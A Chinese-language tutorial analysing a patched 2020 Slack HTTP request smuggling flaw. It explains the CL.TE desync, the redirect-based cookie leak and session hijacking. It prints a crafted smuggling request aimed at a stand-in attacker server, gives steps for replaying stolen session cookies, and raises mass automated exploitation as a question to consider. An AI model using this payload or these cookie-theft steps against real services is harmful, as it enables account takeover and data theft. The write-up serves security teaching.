Slack HTTP请求走私漏洞分析与利用教学

漏洞概述

2020年3月，安全研究人员Evan Custodio发现Slack平台存在一个超危漏洞(CVSS评分9.3)，攻击者可利用该漏洞完全控制用户账户。该漏洞属于HTTP请求走私(HTTP Request Smuggling)类型，结合了CL.TE(Content-Length与Transfer-Encoding)混淆和请求劫持技术。

漏洞影响

• 影响范围：所有使用Slack共享私有数据/渠道/对话的用户和组织
• 潜在危害：
  • 完全控制任意Slack用户账户
  • 窃取所有可访问的Slack用户/组织数据
  • 可自动化大规模攻击
  • 可能导致大规模数据泄露

漏洞技术细节

漏洞链分析

1. HTTP请求走私(CL.TE)

   • 攻击发生在slackb.com域名上
   • 利用Content-Length和Transfer-Encoding头部的解析差异

2. 请求劫持

   • 迫使受害者HTTP请求在slackb.com上使用特定格式：GET https://<URL> HTTP/1.1

3. 301重定向

   • 后端服务器处理该请求会导致301重定向
   • 重定向URL包含所有Slack cookies，特别是关键的'd' cookies

4. Cookie窃取

   • 使用Burp Collaborator服务器捕获受害者的cookies
   • 同时泄露受害者的IP地址

5. 会话控制

   • 收集大量'd' session cookies
   • 利用窃取的cookies控制受害者会话

攻击流程

1. 在slackb.com上构造CL.TE请求走私攻击
2. 触发请求劫持，使受害者发送特定格式的GET请求
3. 利用后端处理差异导致301重定向
4. 通过开放重定向将受害者cookies发送到攻击者控制的Collaborator服务器
5. 获取包含秘密session cookie的完整cookie集合
6. 使用窃取的cookie劫持受害者会话

漏洞复现步骤

准备工作

1. 安装Burp Suite Professional（需包含Collaborator功能）
2. 准备一个Collaborator客户端
3. 了解HTTP请求走私基本原理

攻击实施

1. 构造恶意请求：

   POST / HTTP/1.1
   Host: slackb.com
   Content-Length: 132
   Transfer-Encoding: chunked
   
   0
   
   GET https://attacker-collaborator-server.com HTTP/1.1
   Host: slackb.com
   

2. 触发请求走私：

   • 将上述请求发送到slackb.com
   • 利用前端服务器和后端服务器对CL和TE头部解析差异

3. 捕获重定向：

   • 受害者请求被劫持后会发送到攻击者控制的Collaborator服务器
   • 服务器会记录所有包含敏感cookies的请求

4. 提取session cookie：

   • 从Collaborator日志中提取完整的cookie集合
   • 特别注意'd' cookie，这是关键的session标识

5. 会话劫持：

   • 将窃取的cookies注入浏览器
   • 访问Slack服务即可获得受害者完整权限

防御措施

对于Slack管理员

1. 确保已应用所有安全补丁
2. 监控异常流量模式
3. 实施严格的输入验证

对于终端用户

1. 定期清除浏览器cookies
2. 使用Slack的"注销所有会话"功能
3. 启用多因素认证(MFA)
4. 监控账户异常活动

漏洞修复

Slack在收到报告后24小时内修复了该漏洞，并奖励研究人员6500美元赏金。修复措施可能包括：

1. 统一前后端服务器的HTTP请求解析逻辑
2. 禁用或严格验证Transfer-Encoding头部
3. 实施更严格的请求验证机制
4. 改进cookie的安全属性设置

学习要点

1. HTTP请求走私攻击原理及变种
2. CL.TE与TE.CL攻击的区别
3. 开放重定向的利用方法
4. 会话劫持的实际操作流程
5. Burp Collaborator在漏洞利用中的应用

扩展思考

1. 如何自动化大规模利用此类漏洞
2. 其他可能受类似漏洞影响的服务
3. 防御复杂请求走私攻击的最佳实践
4. 漏洞赏金计划中的漏洞报送流程优化

此漏洞案例展示了现代Web应用中复杂的安全威胁，强调了协议实现一致性和严格输入验证的重要性。